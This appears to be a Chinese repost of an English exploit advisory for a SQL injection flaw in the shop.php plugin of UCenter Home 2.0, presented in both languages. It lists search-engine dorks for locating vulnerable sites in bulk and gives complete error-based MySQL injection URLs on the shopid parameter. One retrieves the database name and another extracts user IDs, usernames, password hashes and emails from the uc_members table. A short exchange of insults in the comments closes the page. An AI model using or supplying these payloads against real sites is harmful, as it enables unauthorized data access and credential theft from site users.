疑点解答:

    有人没找到“Shop.php”,“Shop.php”是一个商品点评插件,有的没有,有的有。所以这个应该是:插件注入。有点鸡肋,杀伤力不强!

    蓝色的是中文翻译,墨绿色的是英文原文。

作者: KnocKout 
感谢: DaiMon,BARCOD3,RiskY and iranian hackers 
联系: knockoutr@msn.com  Cyber-Warrior.org/CWKnocKout 
脚本: UCenter Home 
版本: 2.0 
官网: http://u.discuz.net/ 
批量搜索1: Powered by UCenter inurl:shop.php?ac=view
批量搜索2: inurl:shop.php?ac=view&shopid=
缺陷文件: Shop.php 
利用方式: (?)ac=view&shopid= 
缺陷类型: SQL注入(基于MySQL的错误)
需要编码: 十六进制转换 

1,得到数据库名称

http://server/shop.php?ac=view&;shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

2,注入得到帐户密码信息

http://server/shop.php?ac=view&;shopid=253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

注入:
    http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 

数据库: 成功. 
编辑数据库 `[TARGET DB NAME]` 
例子: 'hiwir1_ucenter' 
编辑: 成功.
 
你需要使用十六进制的转换,并编辑您的SQL注入漏洞。
  
利用代码:
    http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

*/Author : KnocKout 
*/Greatz : DaiMon,BARCOD3,RiskY and iranian hackers 
*/Contact: knockoutr@msn.com 
*/Cyber-Warrior.org/CWKnocKout 
===================================================
Script: UCenter Home 
Version: 2.0 
Script HomePage: http://u.discuz.net/ 
===================================================
Dork: Powered by UCenter inurl:shop.php?ac=view 
Dork 2: inurl:shop.php?ac=view&shopid= 
===================================================
Vuln file: Shop.php 
value's: (?)ac=view&shopid= 
Vulnerable Style: SQL Injection (MySQL Error Based) 
Need Metarials: Hex Conversion 
===================================================

Your Need victim Database name.  
for Inject:
    http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 
DB: Okey. 
your edit DB `[TARGET DB NAME]` 
Example: 'hiwir1_ucenter' 
Edit: Okey. 
Your use Hex conversion. And edit Your SQL Injection Exploit.. 
  
Exploit Code:
    http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

留言评论(旧系统):

佚名 @ 2014-05-13 13:55:55

擦你妹夫

本站回复:

擦你姨夫